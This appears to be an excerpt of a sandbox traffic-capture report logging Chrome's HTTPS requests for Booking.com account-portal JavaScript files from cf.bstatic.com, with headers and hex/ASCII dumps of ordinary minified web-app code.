c?c(a):c:u?o.createElement(u,a):f?f(a):null:"function"==typeof c?c(a):null)}))},t}(o.Component);o.Component;var w=function(e){function t(){return e.apply(this,arguments)\|\|this}return(0,r.A)(t,e),t.prototype.rend
2024-11-02 13:00:09 UTC	16384	IN	Data Raw: 6e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 2c 22 74 72 75 65 22 29 2c 65 2e 70 75 73 68 28 6e 29 29 2c 6e 3d 6e 2e 6e 65 78 74 53 69 62 6c 69 6e 67 7d 7d 2c 6e 3d 28 29 3d 3e 7b 65 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 29 7d 29 29 2c 65 3d 5b 5d 7d 3b 72 65 74 75 72 6e 20 72 3d 3e 7b 6c 65 74 20 6f 3d 72 3b 66 6f 72 28 65 2e 6c 65 6e 67 74 68 26 26 6e 28 29 3b 6f 26 26 6f 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 29 74 28 6f 29 2c 6f 3d 6f 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 7b 72 65 6c 65 61 73 65 3a 6e 7d 7d 7d 29 28 29 2c 75 3d 22 64 61 74 61 2d 62 75 69 2d 66 6f 63 75 73 22 2c 66 Data Ascii: n.setAttribute("aria-hidden","true"),e.push(n)),n=n.nextSibling}},n=()=>{e.forEach((e=>{e.removeAttribute("aria-hidden")})),e=[]};return r=>{let o=r;for(e.length&&n();o&&o!==document.body;)t(o),o=o.parentElement;return{release:n}}})(),u="data-bui-focus",f
2024-11-02 13:00:09 UTC	16384	IN	Data Raw: 75 6c 74 56 61 6c 75 65 2c 6f 3d 72 2e 75 73 65 53 74 61 74 65 28 6e 7c 7c 5b 5d 29 2c 61 3d 6f 5b 30 5d 2c 69 3d 6f 5b 31 5d 3b 72 65 74 75 72 6e 20 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 6c 2c 63 28 7b 7d 2c 65 2c 7b 76 61 6c 75 65 3a 61 2c 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 76 6f 69 64 20 30 2c 6f 6e 43 68 61 6e 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 28 65 2e 76 61 6c 75 65 29 2c 74 26 26 74 28 65 29 7d 7d 29 29 7d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 3d 31 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 74 3d 61 Data Ascii: ultValue,o=r.useState(n\|\|[]),a=o[0],i=o[1];return r.createElement(l,c({},e,{value:a,defaultValue:void 0,onChange:function(e){i(e.value),t&&t(e)}}))},f=function(){return f=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=a
2024-11-02 13:00:09 UTC	16384	IN	Data Raw: 75 73 74 69 66 79 43 6f 6e 74 65 6e 74 2c 67 3d 75 7c 7c 22 64 69 76 22 2c 76 3d 72 2e 43 68 69 6c 64 72 65 6e 2e 74 6f 41 72 72 61 79 28 63 29 2e 73 6f 6d 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 70 72 6f 70 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 67 72 6f 77 7d 29 29 2c 62 3d 28 30 2c 6f 2e 63 6c 61 73 73 4e 61 6d 65 73 29 28 61 2e 72 6f 6f 74 2c 28 30 2c 6f 2e 72 65 73 70 6f 6e 73 69 76 65 43 6c 61 73 73 4e 61 6d 65 73 29 28 61 2c 22 72 6f 6f 74 2d 2d 67 61 70 22 2c 6d 29 2c 28 30 2c 6f 2e 72 65 73 70 6f 6e 73 69 76 65 43 6c 61 73 73 4e 61 6d 65 73 29 28 61 2c 22 72 6f 6f 74 2d 2d 64 69 72 65 63 74 69 6f 6e 22 2c 64 29 2c 28 30 2c 6f 2e 72 65 Data Ascii: ustifyContent,g=u\|\|"div",v=r.Children.toArray(c).some((function(e){var t;return null===(t=e.props)\|\|void 0===t?void 0:t.grow})),b=(0,o.classNames)(a.root,(0,o.responsiveClassNames)(a,"root--gap",m),(0,o.responsiveClassNames)(a,"root--direction",d),(0,o.re
2024-11-02 13:00:09 UTC	16384	IN	Data Raw: 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 2c 7b 63 6c 61 73 73 4e 61 6d 65 3a 64 7d 2c 72 29 7d 2c 4e 3d 6e 28 37 30 39 36 38 29 2c 7a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 7a 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 3d 31 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 6f 29 26 26 28 65 5b 6f 5d 3d 74 5b 6f 5d 29 3b 72 65 74 75 72 6e 20 65 7d 2c 7a 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c Data Ascii: eateElement("div",{className:d},r)},N=n(70968),z=function(){return z=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},z.apply(this,arguments)},
2024-11-02 13:00:09 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 69 6f 75 73 3d 22 70 72 65 76 69 6f 75 73 22 2c 65 2e 6e 65 78 74 3d 22 6e 65 78 74 22 7d 28 72 65 7c 7c 28 72 65 3d 7b 7d 29 29 3b 76 61 72 20 45 65 3d 6f 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 7b 6e 61 76 69 67 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 6e 61 76 69 67 61 74 65 42 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 6e 61 76 69 67 61 74 65 46 6f 72 77 61 72 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 73 65 74 53 6c 69 64 65 72 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 73 63 72 6f 6c 6c 56 61 6c 75 65 3a 30 2c 69 73 53 63 72 6f 6c 6c 45 6e 61 62 6c 65 64 3a 21 30 2c 63 6f 6e 74 61 69 6e 65 72 52 65 66 3a 6f 2e 63 72 65 61 74 65 52 65 66 28 29 2c 69 74 65 6d 73 3a 5b 5d Data Ascii: tion(e){e.previous="previous",e.next="next"}(re\|\|(re={}));var Ee=o.createContext({navigate:function(){},navigateBack:function(){},navigateForward:function(){},setSliderState:function(){},scrollValue:0,isScrollEnabled:!0,containerRef:o.createRef(),items:[]
2024-11-02 13:00:09 UTC	16384	IN	Data Raw: 62 54 32 4c 4a 51 39 72 67 5a 6c 6e 35 6b 30 31 22 2c 22 72 6f 6f 74 2d 2d 73 69 7a 69 6e 67 2d 65 71 75 61 6c 22 3a 22 55 7a 66 41 70 37 72 6b 35 53 35 42 41 50 72 4d 53 73 6f 49 22 7d 2c 24 65 3d 7b 6d 65 64 69 75 6d 3a 7b 73 3a 34 2c 6d 3a 36 7d 2c 73 6d 61 6c 6c 3a 34 7d 2c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3d 65 2e 63 68 69 6c 64 72 65 6e 2c 72 3d 65 2e 63 6c 61 73 73 4e 61 6d 65 2c 69 3d 65 2e 61 6c 69 67 6e 2c 73 3d 65 2e 6a 75 73 74 69 66 79 2c 6c 3d 76 6f 69 64 20 30 3d 3d 3d 73 3f 22 73 74 61 72 74 22 3a 73 2c 63 3d 65 2e 62 6c 65 65 64 2c 66 3d 65 2e 72 65 76 65 72 73 65 64 2c 64 3d 65 2e 73 69 7a 65 2c 70 3d 76 6f 69 64 20 30 3d 3d 3d 64 3f 22 6d 65 64 69 75 6d 22 3a 64 2c 6d 3d 65 2e 64 69 72 65 63 74 69 6f 6e Data Ascii: bT2LJQ9rgZln5k01","root--sizing-equal":"UzfAp7rk5S5BAPrMSsoI"},$e={medium:{s:4,m:6},small:4},et=function(e){var t,n=e.children,r=e.className,i=e.align,s=e.justify,l=void 0===s?"start":s,c=e.bleed,f=e.reversed,d=e.size,p=void 0===d?"medium":d,m=e.direction

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49735	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:08 UTC	570	OUT	GET /psb/accountsportal/assets/133_878a17a1dd9684883a3d.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:09 UTC	715	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 11991 Connection: close Date: Sat, 02 Nov 2024 13:00:09 GMT Last-Modified: Fri, 01 Nov 2024 17:50:36 GMT ETag: "5cc3fba8f5e14a1bf6dbb08589ad9063" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: eDezspF5.McSgz8XrfOTIfvWSFPh1yVK Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 fbd2b51fce9ee4f3aa7b93dbbda3d698.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: R6kKQxAkDOnMim8VzCN7sbIK7m4X5qMFCH6nV7cwmMBe-xN5honTag== Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:09 UTC	6396	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 33 33 5d 2c 7b 34 39 31 33 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 76 61 72 20 72 2c 6f 2c 69 2c 73 2c 75 2c 61 2c 66 2c 63 2c 6c 3b 66 75 6e 63 74 69 6f 6e 20 70 28 74 29 7b 72 65 74 75 72 6e 20 70 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f Data Ascii: "use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[133],{49133:function(t,n,e){var r,o,i,s,u,a,f,c,l;function p(t){return p="function"==typeof Symbol&&"symbol"==typeo
2024-11-02 13:00:09 UTC	5595	IN	Data Raw: 74 72 28 31 2c 70 2e 6c 65 6e 67 74 68 2d 32 29 29 2c 66 3d 5b 22 70 72 69 76 61 74 65 22 2c 70 2c 22 6e 61 6d 65 22 5d 29 3b 66 6f 72 28 76 61 72 20 63 3d 30 2c 6c 3d 66 2e 6c 65 6e 67 74 68 3b 63 3c 6c 3b 2b 2b 63 29 22 5b 22 3d 3d 3d 28 70 3d 66 5b 63 5d 29 2e 63 68 61 72 41 74 28 30 29 26 26 22 5d 22 3d 3d 3d 70 2e 63 68 61 72 41 74 28 70 2e 6c 65 6e 67 74 68 2d 31 29 26 26 28 66 5b 63 5d 3d 6e 28 70 2e 73 75 62 73 74 72 28 31 2c 70 2e 6c 65 6e 67 74 68 2d 32 29 29 2b 22 22 29 3b 66 6f 72 28 63 3d 30 2c 6c 3d 66 2e 6c 65 6e 67 74 68 3b 63 3c 6c 3b 2b 2b 63 29 7b 76 61 72 20 70 3b 22 7b 22 3d 3d 3d 28 70 3d 66 5b 63 5d 29 2e 63 68 61 72 41 74 28 30 29 26 26 22 7d 22 3d 3d 3d 70 2e 63 68 61 72 41 74 28 70 2e 6c 65 6e 67 74 68 2d 31 29 26 26 28 66 5b 63 Data Ascii: tr(1,p.length-2)),f=["private",p,"name"]);for(var c=0,l=f.length;c<l;++c)"["===(p=f[c]).charAt(0)&&"]"===p.charAt(p.length-1)&&(f[c]=n(p.substr(1,p.length-2))+"");for(c=0,l=f.length;c<l;++c){var p;"{"===(p=f[c]).charAt(0)&&"}"===p.charAt(p.length-1)&&(f[c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49733	18.238.243.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:09 UTC	390	OUT	GET /psb/accountsportal/assets/54_97d049b4c4a1c2f7cfdb.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:10 UTC	715	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 32726 Connection: close Date: Sat, 02 Nov 2024 13:00:10 GMT Last-Modified: Fri, 01 Nov 2024 17:50:36 GMT ETag: "be56a3f6fa7bfd736b4e3ffa8e87feba" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: AOPhOch0d3LfoSeJX0ropbSOf50HCLK4 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 650363fa7465273dd14fde086a851a86.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 5OL3mTC8yyPAZmc4e3BP6X7hhWEBBJYuT60WivwAwOgHJjMLi4SIBA== Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:10 UTC	15669	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 34 5d 2c 7b 36 33 33 38 37 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 74 2b 22 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 21 22 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 38 38 31 38 34 3a 66 Data Ascii: (self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[54],{63387:function(t){t.exports=function(t){if("function"!=typeof t)throw TypeError(t+" is not a function!");return t}},88184:f
2024-11-02 13:00:10 UTC	16384	IN	Data Raw: 3f 65 3a 72 2c 22 41 72 72 61 79 22 3d 3d 6e 29 72 65 74 75 72 6e 20 63 2e 63 61 6c 6c 28 74 68 69 73 2c 74 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 75 28 74 2c 65 29 2c 61 3d 75 28 72 2c 65 29 2c 66 3d 73 28 61 2d 6f 29 2c 6c 3d 6e 65 77 20 41 72 72 61 79 28 66 29 2c 70 3d 30 3b 70 3c 66 3b 70 2b 2b 29 6c 5b 70 5d 3d 22 53 74 72 69 6e 67 22 3d 3d 6e 3f 74 68 69 73 2e 63 68 61 72 41 74 28 6f 2b 70 29 3a 74 68 69 73 5b 6f 2b 70 5d 3b 72 65 74 75 72 6e 20 6c 7d 7d 29 7d 2c 36 34 35 30 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 65 28 36 37 35 32 36 29 2c 6f 3d 65 28 35 37 39 31 37 29 2c 69 3d 65 28 35 35 30 38 39 29 2c 75 3d 65 28 39 38 38 38 30 29 2c 73 3d 65 28 38 33 30 34 38 29 2c 63 3d Data Ascii: ?e:r,"Array"==n)return c.call(this,t,r);for(var o=u(t,e),a=u(r,e),f=s(a-o),l=new Array(f),p=0;p<f;p++)l[p]="String"==n?this.charAt(o+p):this[o+p];return l}})},64509:function(t,r,e){"use strict";var n=e(67526),o=e(57917),i=e(55089),u=e(98880),s=e(83048),c=
2024-11-02 13:00:10 UTC	673	IN	Data Raw: 6c 6c 2c 74 68 69 73 2e 72 65 66 65 72 72 65 72 3d 6e 75 6c 6c 2c 28 22 47 45 54 22 3d 3d 3d 74 68 69 73 2e 6d 65 74 68 6f 64 7c 7c 22 48 45 41 44 22 3d 3d 3d 74 68 69 73 2e 6d 65 74 68 6f 64 29 26 26 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 42 6f 64 79 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 47 45 54 20 6f 72 20 48 45 41 44 20 72 65 71 75 65 73 74 73 22 29 3b 74 68 69 73 2e 5f 69 6e 69 74 42 6f 64 79 28 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 77 28 74 29 7b 76 61 72 20 72 3d 6e 65 77 20 46 6f 72 6d 44 61 74 61 3b 72 65 74 75 72 6e 20 74 2e 74 72 69 6d 28 29 2e 73 70 6c 69 74 28 22 26 22 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 29 7b 76 61 72 20 65 3d 74 2e 73 70 6c 69 74 28 22 3d Data Ascii: ll,this.referrer=null,("GET"===this.method\|\|"HEAD"===this.method)&&o)throw new TypeError("Body not allowed for GET or HEAD requests");this._initBody(o)}function w(t){var r=new FormData;return t.trim().split("&").forEach((function(t){if(t){var e=t.split("=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49741	18.238.243.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:10 UTC	391	OUT	GET /psb/accountsportal/assets/624_96ca1b056e9464729f28.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:11 UTC	715	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 19093 Connection: close Date: Sat, 02 Nov 2024 13:00:11 GMT Last-Modified: Fri, 01 Nov 2024 17:50:36 GMT ETag: "6e8b91cf85447803cc45a165b73683c2" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: xKGeDoWSPgSV2TFtsQxVMbfNMEaZCTvv Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 6592b72953c66e8c26c29c332cf2edf0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 01VCNX6qx63YvnR9frNsknhNHDQMuesA3gfAB5qHBHtSImQTZyjBzA== Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:11 UTC	8192	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 36 32 34 5d 2c 7b 37 32 30 31 31 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 74 28 39 36 35 34 30 29 2c 74 28 32 39 33 38 35 29 2c 74 28 35 39 34 39 30 29 2c 74 28 33 33 31 36 32 29 2c 74 28 35 39 36 37 39 29 2c 74 28 31 39 33 35 33 29 2c 74 28 36 35 36 33 31 29 2c 74 28 38 34 38 30 38 29 7d 2c 39 36 34 36 32 3a 66 75 6e 63 74 69 6f 6e Data Ascii: "use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[624],{72011:function(n,e,t){t(96540),t(29385),t(59490),t(33162),t(59679),t(19353),t(65631),t(84808)},96462:function
2024-11-02 13:00:11 UTC	108	IN	Data Raw: 2e 48 2e 49 4e 56 41 4c 49 44 2c 72 2e 50 2e 52 45 51 55 49 52 45 44 2c 63 2e 48 2e 52 45 51 55 49 52 45 44 2c 72 2e 50 2e 4e 41 4d 45 2c 63 2e 48 2e 49 4e 56 41 4c 49 44 5f 4c 41 54 49 4e 2c 74 28 38 39 37 31 35 29 29 2c 75 3d 28 72 2e 50 2e 52 45 51 55 49 52 45 44 2c 73 2e 4c 2e 52 45 51 55 49 52 45 44 2c 72 2e 50 2e 4e Data Ascii: .H.INVALID,r.P.REQUIRED,c.H.REQUIRED,r.P.NAME,c.H.INVALID_LATIN,t(89715)),u=(r.P.REQUIRED,s.L.REQUIRED,r.P.N
2024-11-02 13:00:11 UTC	9000	IN	Data Raw: 41 4d 45 2c 63 2e 48 2e 49 4e 56 41 4c 49 44 2c 72 2e 50 2e 52 45 51 55 49 52 45 44 2c 73 2e 4c 2e 52 45 51 55 49 52 45 44 2c 72 2e 50 2e 4e 41 4d 45 2c 63 2e 48 2e 49 4e 56 41 4c 49 44 5f 4c 41 54 49 4e 2c 74 28 34 31 31 34 37 29 29 2c 6c 3d 28 72 2e 50 2e 52 45 51 55 49 52 45 44 2c 75 2e 74 2e 52 45 51 55 49 52 45 44 2c 74 28 31 31 35 36 33 29 29 2c 66 3d 28 72 2e 50 2e 52 45 51 55 49 52 45 44 2c 6c 2e 67 2e 52 45 51 55 49 52 45 44 2c 72 2e 50 2e 43 4f 55 4e 54 52 59 5f 43 4f 44 45 2c 6c 2e 67 2e 49 4e 56 41 4c 49 44 2c 74 28 39 38 32 38 35 29 29 2c 64 3d 28 72 2e 50 2e 52 45 51 55 49 52 45 44 2c 66 2e 6f 2e 52 45 51 55 49 52 45 44 2c 72 2e 50 2e 4c 45 4e 47 54 48 2c 66 2e 6f 2e 54 4f 4f 5f 4c 4f 4e 47 2c 74 28 35 35 32 35 34 29 2c 74 28 39 36 32 30 37 Data Ascii: AME,c.H.INVALID,r.P.REQUIRED,s.L.REQUIRED,r.P.NAME,c.H.INVALID_LATIN,t(41147)),l=(r.P.REQUIRED,u.t.REQUIRED,t(11563)),f=(r.P.REQUIRED,l.g.REQUIRED,r.P.COUNTRY_CODE,l.g.INVALID,t(98285)),d=(r.P.REQUIRED,f.o.REQUIRED,r.P.LENGTH,f.o.TOO_LONG,t(55254),t(96207
2024-11-02 13:00:11 UTC	1793	IN	Data Raw: 50 4f 50 22 2c 74 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 3f 68 28 7b 61 63 74 69 6f 6e 3a 22 50 4f 50 22 2c 6c 6f 63 61 74 69 6f 6e 3a 6f 2c 69 6e 64 65 78 3a 65 7d 29 3a 68 28 29 7d 29 29 7d 76 61 72 20 49 3d 7b 6c 65 6e 67 74 68 3a 70 2e 6c 65 6e 67 74 68 2c 61 63 74 69 6f 6e 3a 22 50 4f 50 22 2c 6c 6f 63 61 74 69 6f 6e 3a 70 5b 6d 5d 2c 69 6e 64 65 78 3a 6d 2c 65 6e 74 72 69 65 73 3a 70 2c 63 72 65 61 74 65 48 72 65 66 3a 52 2c 70 75 73 68 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 76 61 72 20 6f 3d 22 50 55 53 48 22 2c 72 3d 66 28 6e 2c 65 2c 76 28 29 2c 49 2e 6c 6f 63 61 74 69 6f 6e 29 3b 45 2e 63 6f 6e 66 69 72 6d 54 72 61 6e 73 69 74 69 6f 6e 54 6f 28 72 2c 6f 2c 74 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 6e 29 7b 76 61 72 20 65 Data Ascii: POP",t,(function(n){n?h({action:"POP",location:o,index:e}):h()}))}var I={length:p.length,action:"POP",location:p[m],index:m,entries:p,createHref:R,push:function(n,e){var o="PUSH",r=f(n,e,v(),I.location);E.confirmTransitionTo(r,o,t,(function(n){if(n){var e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49736	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:10 UTC	570	OUT	GET /psb/accountsportal/assets/991_e4e85086dbd38ceb248f.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:11 UTC	726	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 20673 Connection: close Date: Fri, 01 Nov 2024 22:09:43 GMT Last-Modified: Fri, 01 Nov 2024 17:50:38 GMT ETag: "f4dcfc60ba540993c50f9c6caebc6424" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: rfQRMh6Td3fgMLv1fxHXP.mIhXXV2lS7 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 5dbbe1c6db9a003131a63be8ded250a4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: Dg02H99xaH5rhfDQHaBtMkZ-Wm0gcazYO4zcnpcTgdJ7lcDgfM2NDw== Age: 53428 Timing-Allow-Origin: * Vary: Origin
